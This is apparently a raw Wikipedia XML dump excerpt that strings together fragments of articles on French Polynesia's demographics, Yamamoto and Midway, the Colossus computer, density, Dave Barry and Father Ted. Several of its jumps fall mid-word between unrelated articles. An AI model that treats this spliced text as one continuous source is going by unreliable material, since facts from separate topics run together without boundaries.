&lt;br&gt;''65 years and over:'' 5% (male 6,127; female 6,091) (2000 est.) '''Population growth rate:''' 1.78% (2000 est.) '''[[Birth rate]]:''' 19.01 births/1,000 population (2000 est.) '''[[Death]] rate:''' 4.41 deaths/1,000 population (2000 est.) '''Net [[migration]] rate:''' 3.14 migrant(s)/1,000 population (2000 est.) '''Sex ratio:''' &lt;br&gt;''at birth:'' 1.05 male(s)/female &lt;br&gt;''under 15 years:'' 1.04 male(s)/female &lt;br&gt;''15-64 years:'' 1.09 male(s)/female &lt;br&gt;''65 years and over:'' 1.01 male(s)/female &lt;br&gt;''total population:'' 1.07 male(s)/female (2000 est.) '''[[Infant mortality]] rate:''' 9.3 deaths/1,000 live births (2000 est.) '''[[Life expectancy]] at birth:''' &lt;br&gt;''total population:'' 74.79 years &lt;br&gt;''male:'' 72.47 years &lt;br&gt;''female:'' 77.22 years (2000 est.) '''Total [[fertility]] rate:''' 2.28 children born/woman (2000 est.) '''[[Nationality]]:''' &lt;br&gt;''noun:'' French Polynesian(s) &lt;br&gt;''adjective:'' French Polynesian '''[[Ethnic group]]s:''' [[Polynesia]]n 78%, [[China|Chinese]] 12%, local [[France|French]] 6%, metropolitan French 4% '''[[Religion]]s:''' [[Protestantism]] 54%, [[Roman Catholicism]] 30%, other 16% '''Languages:''' [[French language|French]] (official), [[Tahitian language|Tahitian]] (official) :Other languages with only local (if any official) status ::[[Marquesan language|Marquesan]] ([[North Marquesan language|North Marquesan]], [[South Marquesan language|South Marquesan]]), [[Puka-Pukan language|Puka-Pukan]], [[Tuamotuan language|Tuamotuan]], [[Mangarevan language|Mangarevan]], [[Tubuaian language|Tubuaian]] and [[Rapan language|Rapan]] '''[[Literacy]]:''' &lt;br&gt;''definition:'' age 14 and over can read and write &lt;br&gt;''total population:'' 98% &lt;br&gt;''male:'' 98% &lt;br&gt;''female:'' 98% (1977 est.) :''See also :'' [[French Polynesia]] [[Category:French Polynesia]] [[fr:Démographie de la Polynésie française]]</text> </revision> </page> <page> <title>Politics of French Polynesia</title> <id>10741</id> <revision> <id>41236744</id> <timestamp>2006-02-25T23:56:57Z</timestamp> <contributor> <ip>70.80.222.71</ip> </contributor> <text xml:space="preserve">{{cleanup-date|December 2005}} {{Politics of French Polynesia}} ==Political parties and elections== {{elect|List of political parties in French Polynesia|Elections in French Polynesia}} {{main|French Polynesian legislative election, 2004}} {{French Polynesian legislative election, 2004}} ==Other data== '''Country name:''' &lt;br&gt;''conventional long form:'' Overseas Lands of French Polynesia &lt;br&gt;''conventional short form:'' French Polynesia &lt;br&gt;''local l
y]] [[1942]]. With the occupation of the Netherlands East Indies, and the reduction of the remaining American positions in the Philippines to forlorn hopes on the [[Bataan Peninsula]] and [[Corregidor]] island, the Japanese had secured their oil- and rubber-rich &quot;Southern Resources Area&quot;. Having achieved their initial aims with surprising speed and little loss (albeit against enemies ill-prepared to resist them), the Japanese paused to consider their next moves. Since neither the British nor the Americans were willing to negotiate, thoughts turned to securing and protecting their newly seized territory, and acquiring more with an eye toward additional conquest and/or attempting to force one or more enemies out of the war. Competing plans developed at this stage, including thrusts to the west against India, the south against Australia and the east against the United States. Yamamoto was involved in this debate, supporting different plans at different times with varying degrees of enthusiasm and for varying purposes, including &quot;horse-trading&quot; for support of his objectives. Plans included ideas as ambitious as invading [[India]] or Australia, as well as seizing [[Hawaii]]. These grandiose ventures were inevitably set aside as the Army could not spare enough troops from China for the first two, and Japan lacked the shipping to support the latter two. Instead, the Imperial General Staff supported an Army thrust into [[Burma]] in hopes of linking up with Indian Nationalists revolting against British rule, and attacks in [[New Guinea]] and the [[Solomon Islands]] designed to imperil Australia's sea line of communication with the United States. Instead, the Imperial General Staff chose to pursue elements of the western and eastern options. The Army would attack into Burma, while the Navy would extend the defensive island perimeter to the east in an effort to sever the sea line of communications between the U.S. and Australia. Yamamoto agitated for an offensive Decisive Battle in the east to finish the American fleet, but the more conservative staff officers were unwilling to risk it. In the midst of theses debates, the [[Doolittle Raid]] struck [[Tokyo]] and the surrounding areas, galvanizing the threat posed by the American aircraft carriers that had launched it in the minds of the staff officers, and giving Yamamoto an event he could exploit to get his way. The Naval General Staff agreed to Yamamoto's Midway (MI) Operation, subsequent to the first phase of the operations against Australia's link with America. Yamamoto rushed planning for the Midway venture and the concurrent diversionary effort against the Aleutians, while dispatching a force under Rear Admiral Takagi, including the Fifth Carrier Division (the large, new carriers [[Shokaku]] and [[Zuikaku]]), to support the effort to seize the islands of [[Tulagi]] and [[Guadalcanal (Pacific Ocean island)|Guadalcanal]] for seaplane and airplane bases, and the town of [[Port Moresby]] on Papua New Guinea's south coast facing Australia. The Port Moresby (MO) Operation proved an unwelcome reverse. Although Tulagi and Guadalcanal were taken, the Port Moresby invasion fleet turned back when Takagi clashed with an American carrier task force in the [[Battle of the Coral Sea]] in early May. Although the Japanese sank a large American carrier in exchange for a smaller carrier, the Americans damaged the carrier Shokaku so badly she required dockyard repairs. Just as importantly, Japanese operational mishaps and American fighters and anti-aircraft fire devastated the dive-bomber and torpedo plane elements of both Shokaku's and Zuikaku's air groups. These losses side-lined the Zuikaku while she awaited replacement aircraft and replacement aircrew (and saw to the tactical integration and training of the later). These two ships would be sorely missed a month later at Midway. :''References: Dull (1978) , Evans &amp; Peattie (1997), Lundstrom (1984).'' ==The Battle of Midway, June 1942== Yamamoto's plan for the Midway (MI) Operation has been misunderstood and misevaluated for decades. It was not the spur-of-the-moment whim of an arrogant man. Nor was it a senselessly complex gamble or an emotional over-reaction to the Doolittle Raid. It was the logical extension of Yamamoto's efforts to knock the U.S. Pacific Fleet out of action long enough for Japan to fortify its defensive perimeter in the Pacific island chains. Yamamoto had realized from the beginning that it would be necessary to seek an early, offensive Decisive Battle to have any hope - however thin - of bringing the Americans to the negotiating table. Yamamoto's plan was to draw American attention--and possibly carrier forces--north from Pearl Harbor by sending his Fifth Fleet (2 light carriers, 5 cruisers, 13 destroyers and 4 transports) against the [[Aleutians]], raiding [[Dutch Harbor]] on [[Unalaska Island]] and invading the more distant islands of [[Kiska]] and [[Attu Island|Attu]]. The following day, the First Mobile Force (4 carriers, 2 battleships, 3 cruisers, and 12 destroyers) would raid Midway and destroy its air force. Once Midway's air power was neutralized, the Second Fleet (1 light carrier, 2 battleships, 10 cruisers, 21 destroyers and 11 transports would land 5,000 troops to seize the [[atoll]] from the American [[United States Marine Corps|Marines]]. The seizure of Midway was expected to draw the American carriers west into a trap where the First Mobile Force would engage and destroy them. Afterward, the First Fleet (1 light carrier, 7 battleships, 3 cruisers and 13 destroyers), in conjunction with elements of the Second Fleet would mop up remaining American surface forces and complete the destruction of the Pacific Fleet. To guard against mischance, Yamamoto initiated two security measures. The first was an aerial reconnaissance mission (Operation K) over Pearl Harbor to ascertain if the American carriers were there. The second was a picket line of submarines that would detect the movement of the American carriers toward Midway in time for the First Mobile Force, First Fleet and Second Fleet to combine against it. The plan was well thought out, well organized and finely timed. Against 4 carriers, 2 light carriers, 11 battleships, 16 cruisers and 46 destroyers likely to be in the area of the main battle the Americans could field only 3 carriers, 8 cruisers, and 15 destroyers. The disparity appeared crushing. Only in numbers of available aircraft and submarines was there seeming parity between the two sides. Barring something extraordinary, it appeared Yamamoto held all the cards. Unfortunately for Yamamoto, something extraordinary had happened. The worst fear of any commander is that somehow the enemy will learn his battle plan in advance, which is exactly what American [[Cryptography|cryptographers]] had discerned from breaking Japan's primary naval code. As a result, Admiral [[Chester Nimitz|Nimitz]], the Pacific Fleet commander, was able to circumvent both of Yamamoto's security measures and position his outnumbered forces in the exact position to conduct a devastating ambush. Admiral Nimitz dispatched a destroyer to guard the intended refueling point of Operation K's [[flying boat]]s, causing the reconnaissance mission to be aborted and leaving Yamamoto ignorant of whether the Pacific Fleet was still at Pearl Harbor. He also dispatched his carriers toward Midway early, and they passed the Japanese submarine picket line before the Japanese submarines arrived, negating Yamamoto's back-up security measure. Nimitz's carriers then positioned themselves to ambush the First Mobile Force when it struck Midway. The Aleutians feint was properly ignored, and days before Yamamoto and his forces could reasonably expect American carriers to interfere in the Midway operation, they destroyed the four carriers of the First Mobile Force on [[4 June]] [[1942]] in an attack that caught the Japanese carriers at precisely their most vulnerable moment. With his air power destroyed and his forces not yet concentrated for a fleet battle, Yamamoto was unable to maneuver his remaining units to trap the American forces when their tactical commander prudently withdrew to the east rather than risk a night surface encounter in which his carriers would be at a disadvantage. Correctly perceiving that he had lost, Yamamoto aborted the invasion of Midway and withdrew his forces from the field, having no desire to occupy a distant atoll he no longer had the capacity to support and defend. The defeat ended Yamamoto's six months of &quot;running wild&quot; and marked the high tide of Japanese expansion. Yamamoto's plan for the MI Operation has been the subject of much out-of-context criticism. It has been blasted for violating the military principle of concentration of force while the value of other principles such as deception, and envelopment have been blithely waved away by critics. The complexity of the operation has been overemphasized with no regard for parallels in similar Allied operations, or the degree to which the American intelligence coup deranged the Japanese plan. Criticisms of the risk of the operation have freely ignored the pressing necessity of it to neutralize the rebounding Pacific Fleet, as well as the exceptional nature of the American cryptographic victory. Absent the American code break-through, the MI plan would appear neither particularly complex, diffuse, or dangerous. The Aleutians feint would have drawn American attention, Operation K would have ascertained the Pacific Fleet's whereabouts, the submarine cordon would have picked up the American carriers moving toward Midway, and the First Fleet, Second Fleet and First Mobile Force would have concentrated into a lethal whole. :''References: Dull (1978), Evans &amp; Peattie (1997), Lundstrom (1984), Prados (2001).'' ==Actions after Midway== The [[Battle of Midway]] solidly checked Japanese momentum, but it was not actually
ng, but later it was found it could also be adapted to the process of wheel breaking as well. Colossus was operated in the ''Newmanry'', the section at [[Bletchley Park]] responsible for machine methods against the Lorenz machine, headed by the mathematician [[Max Newman]]. Colossus developed out of a prior project which produced a special purpose opto-mechanical comparator machine called the Robinson after [[Heath Robinson]]. The main problem with Robinson was synchronising two [[punched tape|paper tapes]], one punched with the enciphered message, the other representing the patterns produced by the wheels of the Lorenz machine, that tended to stretch when being read at over 1000 characters per second, resulting in unreliable counts. Colossus solved this problem by reproducing one of the tapes electronically. The remaining single tape could be fed through Colossus at a higher speed and could be counted much more reliably. ==The construction of Colossus== [[Tommy Flowers]], an engineer brought in to assist with machinery to break the [[Enigma machine]], spent ten months building Colossus at the [[Post Office Research Station]], [[Dollis Hill]], North London. Work on the design of the Mark I started early in February 1943, and the machine was assembled at Bletchley Park and tested on [[8 December]] [[1943]]. By February 1944, the Colossus was in operational use by the codebreakers. It was followed into service by nine Mark II Colossus machines, the first installed in June 1944. An eleventh Colossus was under construction at the end of the war. Colossus Mark I contained 1,500 electronic valves &amp;ndash; by comparison, early stored program computers like the [[Manchester Mark I]] used about 4,000 and [[ENIAC]] about 18,000. Colossus dispensed with the second tape by generating the wheel patterns electronically, and could process 5,000 characters (40 feet / 12m of tape) per second. The Colossus Mark II was simpler to operate as well as being more advanced, and so greatly speeded the deciphering process, which was largely still carried out by hand. Colossus included the first ever use of [[shift register]]s and [[systolic array]]s, enabling five simultaneous tests, each involving up to 100 [[Boolean algebra|Boolean calculations]], on each of the five channels on the punched tape (although in normal operation only one or two channels were examined in any run). Initially Colossus was only used to determine the initial wheel positions used for a particular message (termed ''wheel setting''); the Mark II included mechanisms intended to help determine pin patterns (''wheel breaking''). Both models were programmable using switches and plug panels, in a way the Robinsons had not been. ==Design and operation== [[Image:Colossus-rebuild.jpg|right|thumbnail|320px|In 1994, a team led by Tony Sale began a reconstruction of a Colossus.]] Colossus used state-of-the-art [[vacuum tube]]s ([[valve]]s), [[thyratron]]s and [[photomultiplier]]s to optically read a paper tape and then applied a programmable logical function to every character, counting how often this function returned &quot;true&quot;. Although valves were generally considered to be liable to high failure rates it was recognised that failure occurred at power on and off so the Colossus machines, once turned on, were never powered down until the end of the war. Colossus featured limited programmability and was the first of the electronic digital machines to do so. However, it was not a true general purpose computer, not being [[Turing-complete]], even though [[Alan Turing]] on whose research this definition was based, worked at [[Bletchley Park]] where Colossus was put into operation. It was not then realized that Turing-completeness was significant; most of the other pioneering modern computing machines were not either (e.g. the [[Atanasoff Berry Computer|ABC]] machine, the [[Harvard Mark I]] electro-mechanical relay machine, the [[Bell Labs]] relay machines (by George Stibitz et al), [[Konrad Zuse]]'s first two designs, and so on). The notion of a computer as a general purpose machine, and not simply a massive [[calculator]] devoted to solving difficult but single-minded problems, did not become prominent until a few years later. Colossus was preceded by several computers, many first in some category. [[Konrad Zuse|Zuse's]] [[Z3]] was the first functional fully program-controlled [[computer]], and was based on electromechanical relays, as were the (less advanced) [[Bell Labs]] machines of the late 1930s ([[George Stibitz]], et al). Assorted [[analog computer]]s were semiprogrammable, some of these much predated the 1930s (eg, [[Vannevar Bush]]). Babbage's [[Analytical engine]] antedated all these (in the mid-1800s), and was both digital and programmable, but was only partially constructed and never functioned at the time (a replica of his [[Difference engine|Difference engine No. 2]], built in 1991 does work, however). Colossus was the first combining all of ''digital'', (partially) ''programmable'', and ''electronic''. ==Influence and fate== The use to which the Colossi were put was of the highest secrecy, and the Colossus itself was highly secret, and remained so for many years after the War. Thus, Colossus could not be included in the [[history of computing hardware]] for many years, and Flowers and his associates also were deprived of the recognition they were due. Being not widely known, it therefore had little direct influence on the development of later computers; [[EDVAC]] was the early design which had the most influence on subsequent computer architecture. However, the technology of Colossus, and the knowledge that reliable high-speed electronic digital computing devices were feasible, had a significant influence on the development of early computers in Britain. A number of people who were associated with the project and knew all about Colossus played significant roles in early computer work in Britain. In [[1972]], [[Herman Goldstine]] wrote that: : &quot;Britain had such vitality that it could immediately after the war embark on so many well-conceived and well-executed projects in the computer field&quot;. &lt;!-- ''The Computer from Pascal to von Neuman'' (pp. 321) --&gt; In writing that, Goldstine was unaware of Colossus, and its legacy to those projects of people such as [[Alan Turing]] (with the [[Pilot ACE]] and [[ACE (computer)|ACE]]), and Max Newman and [[I. J. Good]] (with the [[Manchester Mark I]] and other early Manchester computers). [[Brian Randell]] later wrote that: : &quot;the COLOSSUS project was an important source of this vitality, one that has been largely unappreciated, as has the significance of its places in the chronology of the invention of the digital computer.&quot; &lt;!-- ''The COLOSSUS'', pp. 87 --&gt; Colossus documentation and hardware were [[classified information|classified]] from the moment of their creation and remained so after the War, when [[Winston Churchill]] specifically ordered the destruction of most of the Colossus machines into 'pieces no bigger than a man's hand'; Tommy Flowers personally burned blueprints in a furnace at Dollis Hill. Some parts, sanitised as to their original use, were taken to Newman's [[Computing Machine Laboratory]] at [[Manchester University]]. The Colossus Mark I was dismantled and parts returned to the Post Office. However, two Colossus machines were retained at Eastcote, moving with GCHQ to Cheltenham in 1952 &lt;!--Smith, Station X, chapter &quot;The End of Station X&quot;--&gt;. Horwood (1973) writes, &quot;With the end of the War the particular purpose for which the machines were designed disappeared, but the nature and reliability of the machines was such that a number of attempts, some more successful than others, were made to make the remaining machines suitable for a number of similar purposes, or, in effect, to generalise them&quot;. Copeland (2001) notes that &quot;the last Colossus is believed to have stopped running in 1960. During its later years it was used for training purposes.&quot; Information about Colossus began to emerge publicly in the late [[1970s]], after the secrecy imposed by the [[Official Secrets Act]] ended in [[1976]]. More recently, a 500-page technical report on the Tunny cipher and its cryptanalysis &amp;ndash; entitled ''General Report on Tunny'' &amp;ndash; was released by [[GCHQ]] to the national [[Public Record Office]] in October [[2000]]; the complete report is available online [http://www.alanturing.net/turing_archive/archive/index/tunnyreportindex.html], and it contains a fascinating paean to Colossus by the cryptographers who worked with it: : ''It is regretted that it is not possible to give an adequate idea of the fascination of a Colossus at work; its sheer bulk and apparent complexity; the fantastic speed of thin paper tape round the glittering pulleys; the childish pleasure of not-not, span, print main header and other gadgets; the wizardry of purely mechanical decoding letter by letter (one novice thought she was being hoaxed); the uncanny action of the typewriter in printing the correct scores without and beyond human aid; the stepping of the display; periods of eager expectation culminating in the sudden appearance of the longed-for score; and the strange rhythms characterizing every type of run: the stately break-in, the erratic short run, the regularity of wheel-breaking, the stolid rectangle interrupted by the wild leaps of the carriage-return, the frantic chatter of a motor run, even the ludicrous frenzy of hosts of bogus scores.'' [http://www.alanturing.net/turing_archive/archive/t/t17/TR17-003.html] ==Reconstruction== A construction of a replica of a Colossus Mark II has been undertaken by a team led by [[Tony Sale]]. The reconstruction is on display in the [[Bletchley Park|Bletchley Park Museum]] in [[Milton Keynes]], [[Buckinghamshire]]. ==See also== * [[History of computing hardware]] * [[Z3]] * [[Supercom
c centimetre and a millilitre were slightly different volumes, with 1 mL = 1.000&amp;nbsp;028 cm&lt;sup&gt;3&lt;/sup&gt;. (often stated as 1.000&amp;nbsp;027 cm&lt;sup&gt;3&lt;/sup&gt; in earlier literature). ==Measurement of density== A common device for measuring fluid density is a [[pycnometer]]. A device for measuring absolute density of a solid is a [[gas pycnometer]]. ==Density of substances== Perhaps the highest density known is reached in [[neutron star]] matter (see [[neutronium]]). The [[gravitational singularity|singularity]] at the centre of a [[black hole]], according to [[general relativity]], does not have any volume, so its density is undefined. The most dense naturally occurring substance on [[Earth]] is [[iridium]], at about 22650 kg/m&lt;sup&gt;3&lt;/sup&gt;. A table of densities of various substances: &lt;table&gt; &lt;tr&gt;&lt;td&gt;&lt;b&gt;Substance&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;Density in kg/m&lt;sup&gt;3&lt;/sup&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;[[Iridium]]&lt;/td&gt;&lt;td&gt;22650&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;[[Osmium]]&lt;/td&gt;&lt;td&gt;22610&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;[[Platinum]]&lt;/td&gt;&lt;td&gt;21450&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;[[Gold]]&lt;/td&gt;&lt;td&gt;19300&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;[[Tungsten]]&lt;/td&gt;&lt;td&gt;19250&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;[[Uranium]]&lt;/td&gt;&lt;td&gt;19050&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;[[Mercury (element)|Mercury]]&lt;/td&gt;&lt;td&gt;13580&lt;/td&gt;&lt;tr&gt; &lt;tr&gt;&lt;td&gt;[[Palladium]]&lt;/td&gt;&lt;td&gt;12023&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;[[Lead]]&lt;/td&gt;&lt;td&gt;11340&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;[[Silver]]&lt;/td&gt;&lt;td&gt;10490&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;[[Copper]]&lt;/td&gt;&lt;td&gt; &amp;#160; 8960&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;[[Iron]]&lt;/td&gt;&lt;td&gt; &amp;#160; 7870&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;[[Steel]]&lt;/td&gt;&lt;td&gt; &amp;#160; 7850&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;[[Tin]]&lt;/td&gt;&lt;td&gt; &amp;#160; 7310&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;[[Titanium]]&lt;/td&gt;&lt;td&gt; &amp;#160; 4507&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;[[Diamond]]&lt;/td&gt;&lt;td&gt; &amp;#160; 3500&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;[[Basalt]]&lt;/td&gt;&lt;td&gt; &amp;#160; 3000&lt;/td&gt;&lt;tr&gt; &lt;tr&gt;&lt;td&gt;[[Granite]]&lt;/td&gt;&lt;td&gt; &amp;#160; 2700&lt;/td&gt;&lt;tr&gt; &lt;tr&gt;&lt;td&gt;[[Aluminium]]&lt;/td&gt;&lt;td&gt; &amp;#160; 2700&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;[[Graphite]]&lt;/td&gt;&lt;td&gt; &amp;#160; 2200&lt;/td&gt;&lt;tr&gt; &lt;tr&gt;&lt;td&gt;[[Magnesium]]&lt;/td&gt;&lt;td&gt; &amp;#160; 1740&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;[[Polyvinyl chloride|PVC]]&lt;/td&gt;&lt;td&gt; &amp;#160; 1300&lt;/td&gt;&lt;tr&gt; &lt;tr&gt;&lt;td&gt;[[Seawater]]&lt;/td&gt;&lt;td&gt; &amp;#160; 1025&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;[[Water]]&lt;/td&gt;&lt;td&gt; &amp;#160; 1000&lt;/td&gt;&lt;/tr&gt; &lt;!--to one more digit, 999.8 at STP, never as high as 1000 at any temperature at one atmosphere of pressure--&gt; &lt;tr&gt;&lt;td&gt;[[Ice]]&lt;/td&gt;&lt;td&gt; &amp;#160; 917&lt;/td&gt;&lt;tr&gt; &lt;tr&gt;&lt;td&gt;[[Polyethylene]]&lt;/td&gt;&lt;td&gt; &amp;#160; 910&lt;/td&gt;&lt;tr&gt; &lt;tr&gt;&lt;td&gt;[[Ethyl alcohol]]&lt;/td&gt;&lt;td&gt; &amp;#160; 790&lt;/td&gt;&lt;tr&gt; &lt;tr&gt;&lt;td&gt;[[Gasoline]]&lt;/td&gt;&lt;td&gt; &amp;#160; 730&lt;/td&gt;&lt;tr&gt; &lt;tr&gt;&lt;td&gt;Liquid [[Hydrogen]]&lt;/td&gt;&lt;td&gt; &amp;#160; 68&lt;/td&gt;&lt;tr&gt; &lt;tr&gt;&lt;td&gt;[[Aerogel]]&lt;/td&gt;&lt;td&gt; &amp;#160; 3&lt;/td&gt;&lt;tr&gt; &lt;tr&gt;&lt;td&gt;any [[gas]]&lt;/td&gt;&lt;td&gt; &amp;#160; 0.0446 times the average [[molecular mass]], hence between 0.09 and ca. 10.0 (at [[standard temperature and pressure]]) &lt;tr&gt;&lt;td&gt;For example [[Earth's atmosphere|air]]&lt;/td&gt; &lt;td&gt;&amp;#160;&amp;#160;1.2&lt;/td&gt;&lt;/tr&gt; &lt;/table&gt; {| border=&quot;0&quot; cellpadding=&quot;1&quot; cellspacing=&quot;0&quot; |colspan=&quot;2&quot; align=&quot;center&quot; | '''Density of air ''&amp;rho;'' vs. [[temperature]] °C ''' |- |''T'' in °C || ''&amp;rho;'' in kg/m³ |- | - 10 || 1.341 |- | - 5 || 1.316 |- | 0 || 1.293 |- | + 5 || 1.269 |- | + 10 || 1.247 |- | + 15 || 1.225 |- | + 20 || 1.204 |- | + 25 || 1.184 |- | + 30 || 1.164 |} Note the low density of aluminium compared to most other metals. For this reason, aircraft are made of aluminium. Also note that air has a nonzero, albeit small, density. [[Aerogel]] is the world's lightest solid. ==See also== *[[ISO 31]]: '''volumic mass''' *[[Dord]] *[[Standard temperature and pressure]] *[[Relative density]] (specific gravity) *[[Charge density]] *[[Energy density]] *[[Population density]] [[Category:Continuum mechanics]] [[Category:Introductory physics]] [[Category:Fundamental physics concepts]] [[Category:Physical quantity]] [[Category:Physical chemistry]] [[af:Digtheid]] [[als:Dichte]] [[ar:كتلة حجمية]] [[bg:Плътност]] [[ca:Densitat]] [[cs:Hustota]] [[da:Massefylde]] [[de:Dichte]] [[et:Tihedus]] [[es:Densidad (física)]] [[eo:Denseco]] [[fa:چگالی]] [[fr:Densité]] [[io:Denseso]] [[is:Eðlismass]] [[it:Densità]] [[he:צפיפות החומר]] [[lv:Blīvums]] [[lt:Tankis]] [[mk:Густина]] [[ms:Ketumpatan]] [[nl:Dichtheid]] [[ja:密度]] [[no:Tetthet]] [[pl:Gęstość]] [[pt:Massa volúmica]] [[ro:Densitate]] [[ru:Плотность вещества]] [[sl:Gostota]] [[sr:Густина]] [[fi:Tiheys]] [[th:ความหนาแน่น]] [[tr:Yoğunluk]] [[uk:Густина]] [[zh:密度]]</text> </revision> </page> <page> <title>Dave Barry</title> <id>8432</id> <revision> <id>42115519</id> <timestamp>2006-03-03T22:47:09Z</timestamp> <contributor> <ip>206.190.139.254</ip> </contributor> <comment>/* Trivia */ rm trivia of dubious interest</comment> <text xml:space="preserve">'''David Barry, Jr.''' (born [[July 3]], [[1947]]) is a bestselling [[United States of America|American]] author and [[Pulitzer Prize]]-winning [[humorist]] who wrote a nationally syndicated column for the ''[[The Miami Herald]]'' from 1983 to 2005. ==Biography== Barry was born in [[Armonk, New York|Armonk]], [[New York]], where his father, David Barry, Sr., was a [[Presbyterianism|Presbyterian]] minister. He was educated at [[Pleasantville High School]], where he was elected class clown in 1965, and at [[Haverford College]], where he played in [[Federal Duck]] (a student rock band) and earned a Bachelor of Arts degree in English in 1969. As the son of a minister and an alumnus of a [[Religious Society of Friends|Quaker]]-affiliated college, Barry avoided military service during the [[Vietnam War]] by registering as a religious [[conscientious objector]] even though, as he declared in a 2001 interview with the ''Fort Worth Star-Telegram'', he had decided he &quot;was an [[atheist]] early on.&quot; His journalism career began as a reporter with the ''Daily Local News'', in [[West Chester, Pennsylvania]], where he &quot;covered a series of incredibly dull municipal meetings, some of which are still going on.&quot; In 1975, Barry joined Burger Associates, a consulting firm. He taught effective writing to business people. In his own words, he &quot;spent nearly eight years trying to get his students to stop writing things like `Enclosed please find the enclosed enclosures,' but... eventually realized that it was hopeless.&quot; In 1983, Barry was hired by [[Gene Weingarten]] as a humor columnist for the ''[[Miami Herald]]''. Barry won a [[Pulitzer Prize]] for Commentary in 1988, &quot;for his consistently effective use of humor as a device for presenting fresh insights into serious concerns.&quot; For a 1992 [[American Booksellers Association]] convention, several authors including Barry formed a band for charity: [[Rock Bottom Remainders|The Rock Bottom Remainders]] (&quot;[[Remaindered book|remainder]]&quot; is a publishing term for a book that doesn't sell). The members of the band, which has at various times included [[Stephen King]], [[Amy Tan]], [[Ridley Pearson]], [[Mitch Albom]], [[Kathy Goldmark]], [[Roy Blount Jr.]], [[Barbara Kingsolver]] and [[Matt Groening]], &quot;are not musically skilled, but they are extremely loud,&quot; according to Barry. The band's road tour resulted in the book ''Mid-Life Confidential: The Rock Bottom Remainders Tour America with Three Chords and an Attitude'', which is now out of print. [[CBS]] broadcast the [[situation comedy]] ''[[Dave's World]]'' for four seasons, from 1993 to 1997, based on the books ''Dave Barry Turns 40'' and ''Dave Barry's Greatest Hits'', starring [[Harry Anderson]] as Barry, and [[DeLane Matthews]] as his wife, Beth. In an early episode, Barry was cast in a cameo role. The program was canceled shortly after being moved from Monday to the [[Friday night death slot]]. Barry's first novel, ''Big Trouble'', was made into a [[Big Trouble|motion picture]]; directed by [[Barry Sonnenfeld]], it starred [[Tim Allen]], [[Rene Russo]] and ''Dave's World'' alum [[Patrick Warburton]], with a cameo by Barry. The movie was originally due for release in late 2001, but was postponed shortly after the [[September 11, 2001 terrorist attack]] because the story involved smuggling a [[nuclear weapon]] onto an airplane. His ''Complete Guide To Guys'' was also made into a film, in 2005; it premiered at several film festivals, to mediocre notices, and is available on DVD, though a theatrical release seems unlikely. Barry and his first wife, Beth, had one child, Robert, in 1980. The Barrys divorced in the mid-1990s. In 1996, Barry married ''Miami Herald'' [[sportswriter]] Michelle Kaufman; they had a daughter, Sophie, in 2000. All are mentioned regularly in Barry's columns, though his divorce was notably not discussed. Barry's initial meeting and courtship with Michelle we
s incident in [[Blackrock]] involving a group of [[nun]]s, presumably caused by his stupidity. His inability to grasp the simplest of everyday concepts provides much of the humour in the show. He once owned a rabbit called Sampras (as a reference to noted tennis player [[Peter Sampras]]) because of that &quot;whole rabbit/tennis, tennis/rabbit connection&quot;. Dougal regularly expresses doubts about the validity of Catholic Orthodoxy, to the degree that he causes Bishop O'Neill to renounce his faith. The Catholic hierarchy, as well as Father Ted, also greatly frown upon Dougal conducting funerals, as one ended up with the hearse on fire and upside down in the hole dug for the grave. ====Father Jack Hackett==== [[Father Jack Hackett]] ([[Frank Kelly]]), is a perpetually [[drunkenness|drunken]], lecherous, violent and foul-mouthed elderly priest. He is on Craggy Island for all of the above, and is basically incapable of functioning normally as a [[priest]]. He spends most, if not all of his time sitting in his chair yelling &quot;FECK! ARSE! DRINK! GIRLS!&quot; or telling everyone to &quot;FECK OFF!!&quot; There is also mention of a 'blue nun' incident (blue as in sexually promiscuous, although &quot;[[Blue Nun]]&quot; is also a brand of [[wine]]), and a wedding that Father Hackett performed was another factor contributing to his banishment to Craggy Island. Ted did once clean him up and teach him a few phrases, such as &quot;YES!&quot; and &quot;THAT WOULD BE AN [[Christian ecumenism|ECUMENICAL]] MATTER!&quot; but his education was short-lived. Father Hackett appears to possess limited supernatural powers, such as his ability to determine the vintage of wine merely by the sound of bottles clinking together. Despite this talent, he is not particularly discerning about what he drinks, and in a pinch will happily resort to Toilet Duck and other cleaning fluids. For Lent he was sober for the first time in twelve years and remembered things such as &quot;CHAIR&quot;, &quot;FLOOR&quot; and &quot;CURTAINS&quot;, though upon seeing Ted, he remembered, &quot;GOBSHITE!&quot; However, he couldn't at all figure out what a spoon was. ====Mrs. Joan Doyle==== [[Mrs Doyle]] ([[Pauline McLynn]]), is the priests' manic housekeeper who is hell-bent on serving [[tea]] to all and sundry. She must once have been married though no mention of her husband is ever made, apart from a brief slip of the tongue on her part in &quot;Night of the Nearly Dead&quot;. Hospitality, especially serving tea, is her mission in life, as is cleaning the large window in the living room, a task which usually sees her plummet to the ground upon trying to get back down from the sill. Her first name, Joan, is mentioned casually by Ted in the first series, though later episodes play on the fact that she is invariably referred to by everyone as &quot;Mrs Doyle&quot; by seeing her first name ostentatiously drowned out (by such things as ringing bells and telephones) on the very rare occasions when it is said. She occasionally falls off the roof of the parochial house. ==Recurring Characters== Other priests and islanders have recurring roles in the series. Their details are given below. A number of 